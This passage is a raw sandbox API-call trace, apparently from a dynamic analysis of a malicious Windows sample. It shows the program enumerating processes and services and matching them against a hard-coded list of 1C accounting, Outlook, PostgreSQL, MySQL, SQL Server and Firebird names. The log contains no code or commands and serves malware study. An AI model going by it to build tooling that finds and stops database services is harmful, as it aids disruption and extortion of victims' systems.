(lpString1="mysqld.exe", lpString2="System") returned -1 [0220.223] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0220.223] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.224] lstrlenW (lpString="smss.exe") returned 8 [0220.224] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0220.225] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0220.225] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0220.225] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0220.225] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0220.225] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0220.225] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0220.225] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.226] lstrlenW (lpString="csrss.exe") returned 9 [0220.226] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0220.226] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0220.226] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0220.226] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0220.227] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0220.227] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0220.227] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0220.227] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.228] lstrlenW (lpString="wininit.exe") returned 11 [0220.228] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0220.228] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0220.228] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0220.228] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0220.228] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0220.228] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0220.228] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0220.228] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.229] lstrlenW (lpString="csrss.exe") returned 9 [0220.229] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0220.230] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0220.230] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0220.230] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0220.230] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0220.230] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0220.230] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0220.230] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.231] lstrlenW (lpString="winlogon.exe") returned 12 [0220.231] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0220.231] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0220.231] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0220.231] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0220.231] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0220.231] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0220.231] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0220.232] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.233] lstrlenW (lpString="services.exe") returned 12 [0220.233] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0220.233] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0220.233] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0220.233] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0220.233] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0220.233] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0220.233] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0220.340] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.341] lstrlenW (lpString="lsass.exe") returned 9 [0220.341] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0220.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0220.341] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0220.341] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0220.341] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0220.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0220.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0220.342] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0220.343] lstrlenW (lpString="lsm.exe") returned 7 [0220.344] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0220.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0220.344] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0220.344] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0220.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0220.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0220.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0220.344] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.345] lstrlenW (lpString="svchost.exe") returned 11 [0220.345] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.345] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.346] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.346] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.347] lstrlenW (lpString="svchost.exe") returned 11 [0220.347] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.347] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.347] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.348] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.348] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.349] lstrlenW (lpString="svchost.exe") returned 11 [0220.349] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.349] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.349] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.349] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.350] lstrlenW (lpString="svchost.exe") returned 11 [0220.350] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.351] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.351] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.351] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.351] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.352] lstrlenW (lpString="svchost.exe") returned 11 [0220.352] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0220.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0220.353] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0220.353] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0220.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0220.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0220.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0220.353] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.354] lstrlenW (lpString="audiodg.exe") returned 11 [0220.354] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0220.354] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.355] lstrlenW (lpString="svchost.exe") returned 11 [0220.355] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0220.356] lstrlenW (lpString="userinit.exe") returned 12 [0220.356] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.357] lstrlenW (lpString="explorer.exe") returned 12 [0220.358] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.360] lstrlenW (lpString="dwm.exe") returned 7 [0220.360] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.361] lstrlenW (lpString="svchost.exe") returned 11 [0220.361] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0220.362] lstrlenW (lpString="driver.exe") returned 10 [0220.362] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.363] lstrlenW (lpString="spoolsv.exe") returned 11 [0220.363] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0220.364] lstrlenW (lpString="taskhost.exe") returned 12 [0220.365] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.366] lstrlenW (lpString="svchost.exe") returned 11 [0220.366] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0220.367] lstrlenW (lpString="dllhost.exe") returned 11 [0220.367] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0220.368] lstrlenW (lpString="reader_sl.exe") returned 13 [0220.368] Process32NextW (in: hSnapshot=0x30c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0220.369] CloseHandle (hObject=0x30c) returned 1 [0220.369] Sleep (dwMilliseconds=0x1f4) [0221.286] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c31f8 [0221.912] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0221.939] GetLastError () returned 0xea [0221.939] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc9a) returned 0x41d0998 [0221.939] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xc9a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0221.942] CloseServiceHandle (hSCObject=0x41c31f8) returned 1 [0221.942] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0221.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0221.943] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0221.943] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0221.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0221.943] lstrlenW (lpString="AudioSrv") returned 8 [0221.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0221.943] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0221.943] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0221.943] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0221.943] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0221.943] lstrlenW (lpString="BFE") returned 3 [0221.943] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0221.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0221.944] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0221.944] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0221.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0221.944] lstrlenW (lpString="CryptSvc") returned 8 [0221.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0221.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0221.944] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0221.944] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0221.944] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0221.944] lstrlenW (lpString="CscService") returned 10 [0221.944] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0221.944] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0221.944] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0221.945] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0221.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0221.945] lstrlenW (lpString="DcomLaunch") returned 10 [0221.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0221.945] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0221.945] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0221.945] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0221.945] lstrlenW (lpString="Dhcp") returned 4 [0221.945] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0221.945] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0221.945] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0221.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0221.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0221.946] lstrlenW (lpString="Dnscache") returned 8 [0221.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0221.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0221.946] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0221.946] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0221.946] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0221.946] lstrlenW (lpString="DPS") returned 3 [0221.946] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0221.946] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0221.946] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0221.947] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0221.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0221.947] lstrlenW (lpString="eventlog") returned 8 [0221.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0221.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0221.947] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0221.947] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0221.947] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0221.947] lstrlenW (lpString="EventSystem") returned 11 [0221.947] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0221.947] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0221.948] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0221.948] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0221.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0221.948] lstrlenW (lpString="gpsvc") returned 5 [0221.948] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0221.948] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0221.948] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0221.948] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0221.948] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0221.948] lstrlenW (lpString="LanmanWorkstation") returned 17 [0221.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0221.949] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0221.949] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0221.949] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0221.949] lstrlenW (lpString="lmhosts") returned 7 [0221.949] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0221.949] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0221.949] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0221.950] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0221.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0221.950] lstrlenW (lpString="MMCSS") returned 5 [0221.950] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0221.950] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0221.950] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0221.950] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0221.950] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0221.950] lstrlenW (lpString="MpsSvc") returned 6 [0221.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0221.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0221.951] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0221.951] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0221.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0221.951] lstrlenW (lpString="NlaSvc") returned 6 [0221.951] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0221.951] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0221.951] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0221.951] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0221.951] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0221.952] lstrlenW (lpString="nsi") returned 3 [0221.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0221.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0221.952] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0221.952] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0221.952] lstrcmpiW 